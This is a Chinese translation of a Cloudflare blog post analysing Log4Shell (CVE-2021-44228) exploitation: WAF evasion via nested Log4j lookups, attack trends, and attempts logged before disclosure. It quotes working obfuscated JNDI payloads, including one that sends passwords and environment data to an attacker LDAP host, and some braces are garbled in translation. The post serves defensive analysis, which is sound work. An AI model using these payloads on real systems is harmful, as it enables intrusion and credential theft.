Log4j CVE-2021-44228漏洞被公開披露前的攻擊利用以及規(guī)避與泄漏演變

來源: cloudflare
作者:John Graham-Cumming & Celso Martinho
時(shí)間:2022-02-10
12960
本文將介紹全球出現(xiàn)的 WAF 規(guī)避模式和泄露企圖,有關(guān)漏洞利用企圖的趨勢數(shù)據(jù),以及有關(guān)我們在 CVE-2021-44228 公開披露之前看到的漏洞利用的信息。

YjgxMWRhMC5qcGVn.jpg

在此博客帖文中,我們將介紹全球出現(xiàn)的 WAF 規(guī)避模式和泄露企圖,有關(guān)漏洞利用企圖的趨勢數(shù)據(jù),以及有關(guān)我們在 CVE-2021-44228 公開披露之前看到的漏洞利用的信息。

簡而言之,我們在 12 月 1 日看到了對該漏洞的有限測試,即在公開披露之前的 8 天。我們在公開披露后僅 9 分鐘就看到了利用該漏洞的第一次嘗試,足見攻擊者利用新發(fā)現(xiàn)的漏洞的速度有多快。

我們還發(fā)現(xiàn)大量企圖,嘗試執(zhí)行簡單阻止而繞過 WAF,并且企圖泄露密鑰憑證和密碼等數(shù)據(jù)。

WAF 規(guī)避模式和泄露示例

自披露 CVE-2021-44228(現(xiàn)在通常稱為 Log4Shell)以來,我們發(fā)現(xiàn)攻擊者采用了許多手段,從使用簡單的攻擊字符串,到積極設(shè)法繞過 WAF 的阻止,不一而足。WAF 提供了阻止外部攻擊者的有用工具,而攻擊者往往企圖規(guī)避 WAF 以繞過那些過于簡單的規(guī)則。

在 Log4j 漏洞利用的最早階段,攻擊者使用通常以 ${jndi:dns, ${jndi:rmi 和 ${jndi:ldap 開頭的解除混淆的字符串以及簡單的規(guī)則來查找那些有效的模式。

在這些字符串被阻止之后,攻擊者迅速改用規(guī)避方法。他們曾經(jīng)并且仍在使用標(biāo)準(zhǔn)規(guī)避方法(對字符轉(zhuǎn)義或編碼)以及針對 Log4j 查找語言量身定做的規(guī)避手段。

任何勝任其職的 WAF 都能夠處理標(biāo)準(zhǔn)方法。將 ${ 編碼為 %24%7B 或 \u0024\u007b 之類的伎倆,早在應(yīng)用規(guī)則以檢查所使用的特定漏洞利用之前就可輕松逆轉(zhuǎn)。

然而,Log4j 語言有一些豐富的特性,使得隱藏一些 WAF 所查找的關(guān)鍵字符串成為可能。例如,查找會(huì)將字符串轉(zhuǎn)變?yōu)樾?。因此,{lower:H} 會(huì)變成 h。使用查找,攻擊者可以偽裝 jndi 之類的關(guān)鍵字符串,以便規(guī)避 WAF。

在真實(shí)場景中,我們發(fā)現(xiàn)有人使用 ${date}、 ${lower}、${upper}、${web}、和{env} 進(jìn)行規(guī)避。此外,、{sys} 和 ${main}(以及針對 Docker、Kubernetes 和其他系統(tǒng)的其他專門查找)被用于泄露目標(biāo)進(jìn)程的環(huán)境中的數(shù)據(jù)(包括關(guān)鍵密鑰)。

要更好地理解此語言的用法,請參閱下面的小 Java 程序,它從命令行接受一個(gè)字符串,并通過 Log4j 將其記錄到控制臺(tái):

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;


public class log4jTester{

    private static final Logger logger = LogManager.getLogger(log4jTester.class);

       

    public static void main(String[] args) {

logger.error(args[0]);

    }

}

這個(gè)簡單的程序向控制臺(tái)輸出內(nèi)容。這里它記錄了 hide 這個(gè)詞。

$ java log4jTester.java 'hide'

01:28:25.606 [main] ERROR log4jTester - hide

Log4j 語言允許在 之內(nèi)使用{},因而攻擊者能夠組合多個(gè)不同的關(guān)鍵字進(jìn)行規(guī)避。例如,以下 {lower:Extra close brace or missing open brace{lower:D}e 會(huì)被記錄為 hide 一詞。這樣一來,舉例來說,攻擊者就很容易規(guī)避對 ${jndi 的簡單化搜索,因?yàn)?jndi 可以通過類似方式進(jìn)行隱藏。

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'

01:30:42.015 [main] ERROR log4jTester - hide

其他主要的規(guī)避方法利用了 :- 語法。利用該語法,攻擊者可以為查找設(shè)置默認(rèn)值,如果所查找的值為空,則會(huì)輸出默認(rèn)值。因此,舉例來說,可以通過查找不存在的環(huán)境變量來輸出一個(gè)詞的字母。

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 

01:35:34.280 [main] ERROR log4jTester - hide

類似方法用于 、{main} 等,以及 或{::::::-h} 之類的字符串,后兩者都會(huì)變成 h。當(dāng)然,組合使用這些方法還會(huì)造成越來越復(fù)雜的規(guī)避企圖。

要感受一下規(guī)避是如何迅速運(yùn)作的,請參閱下面的圖表,其中顯示了出現(xiàn)在 WAF 塊(橙線)中的解除混淆的 ${jndi:、查找(綠線)的使用、編碼(藍(lán)線)的使用,以及最近流行的一種特定規(guī)避方法:{{::-n}{::-i}(紅線)。

image--7-.png

在開頭幾天,規(guī)避情況相對罕見。然而,現(xiàn)在,盡管 ${jndi: 之類的幼稚字符串仍然大行其道,規(guī)避情況已經(jīng)大增,WAF 必須阻止這些改進(jìn)的攻擊。

我們上周寫過漏洞利用的初始階段,這些階段主要是開展偵察工作。在那之后,攻擊者已進(jìn)展到數(shù)據(jù)提取。

我們發(fā)現(xiàn) 被用于提取環(huán)境變量,{sys} 被用于獲取有關(guān) Log4j 運(yùn)行的系統(tǒng)的信息。這是在真實(shí)場景中被阻止的一個(gè)攻擊企圖,該攻擊企圖泄露各種 Log4j 查找中的大量數(shù)據(jù):

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:

imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont

ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx

:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES

_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

其中您可以看到,用戶、主目錄、Docker 鏡像名稱、Kubernetes 和 Spring 的詳情、用戶和數(shù)據(jù)庫的密碼、主機(jī)名和命令行參數(shù)都被泄露。

由于規(guī)避和泄露手段異常復(fù)雜,WAF 供應(yīng)商需要檢查 ${ 的任何出現(xiàn)情況,并作可疑處理。為此,我們做了進(jìn)一步的工作,清理我們發(fā)送給客戶的所有日志,將 ${ 轉(zhuǎn)換為 x{。

Cloudflare WAF 團(tuán)隊(duì)一直在設(shè)法阻止企圖的漏洞利用,但客戶使用最新版本的 Log4j 修補(bǔ)其系統(tǒng)或應(yīng)用緩解措施仍然至關(guān)重要。由于記錄的數(shù)據(jù)并不一定通過互聯(lián)網(wǎng)傳輸,因此系統(tǒng)無論聯(lián)網(wǎng)都需要修補(bǔ)。

所有付費(fèi)客戶都有可配置的 WAF 規(guī)則,用于幫助防御 CVE-2021-44228,并且我們還為免費(fèi)客戶部署了保護(hù)措施。

CVE-2021-44228 漏洞利用趨勢

Cloudflare 迅速實(shí)施了 WAF 規(guī)則以幫助阻止這些攻擊。以下圖表顯示了這些被阻止的攻擊是如何演變的。

image3-39.png

從 12 月 10 日到 12 月 13 日,我們發(fā)現(xiàn)每分鐘阻止的次數(shù)攀升,如下所示。

1644462791(1).png

加拿大(下面的綠線)是漏洞利用企圖的最大來源國。在我們做出預(yù)測之后,這種態(tài)勢并未延續(xù),現(xiàn)在攻擊來自全世界各地,有直接來自服務(wù)器的,也有通過代理的。

image1-72.png

披露之前的 CVE-2021-44228 漏洞利用

CVE-2021-44228 在 2021-12-09 14:25 UTC 的推文(現(xiàn)已刪除)中披露:

image2-53.png

但是,我們的系統(tǒng)在 2021 年 12 月 1 日捕獲到三次漏洞利用或掃描企圖。如下所示。在每一次企圖中,我混淆了 IP 地址和域名。這三次企圖將 ${jndi:ldap} 查找注入到 HTTP User-Agent 標(biāo)頭、Referer 標(biāo)頭和 URI 參數(shù)中。

2021-12-01 03:58:34

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 

    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}

Referer: /${jndi:ldap://rb3w24.example.com/x}

Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D


2021-12-01 04:36:50

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 

    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}

Referer: /${jndi:ldap://y3s7xb.example.com/x}

Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D


2021-12-01 04:20:30

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 

    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}

Referer: /${jndi:ldap://vf9wws.example.com/x}

Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D

在這三次企圖之后,我們沒有發(fā)現(xiàn)進(jìn)一步的活動(dòng),直到公開披露 9 分鐘之后,有人企圖在一個(gè)游戲網(wǎng)站上通過 URI 參數(shù)注入 ${jndi:ldap} 字符串。

2021-12-09 14:34:31

Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

總結(jié)

CVE-2021-44228 被大量侵入者廣泛地利用。WAF 作為幫助防止外部攻擊的措施很有效,但它們并不是萬無一失,攻擊者也在想方設(shè)法進(jìn)行規(guī)避。數(shù)據(jù)和憑證泄露的潛在可能性出奇地高,更具破壞力的入侵和攻擊的長期風(fēng)險(xiǎn)非常高。

立即緩解并修補(bǔ)使用 Log4j 的受影響軟件至關(guān)重要,切莫猶豫。

立即登錄,閱讀全文
版權(quán)說明:
本文內(nèi)容來自于cloudflare,本站不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。文章內(nèi)容系作者個(gè)人觀點(diǎn),不代表快出海對觀點(diǎn)贊同或支持。如有侵權(quán),請聯(lián)系管理員(zzx@kchuhai.com)刪除!
優(yōu)質(zhì)服務(wù)商推薦
更多
掃碼登錄
打開掃一掃, 關(guān)注公眾號(hào)后即可登錄/注冊
加載中
二維碼已失效 請重試
刷新
賬號(hào)登錄/注冊
個(gè)人VIP
小程序
快出海小程序
公眾號(hào)
快出海公眾號(hào)
商務(wù)合作
商務(wù)合作
投稿采訪
投稿采訪
出海管家
出海管家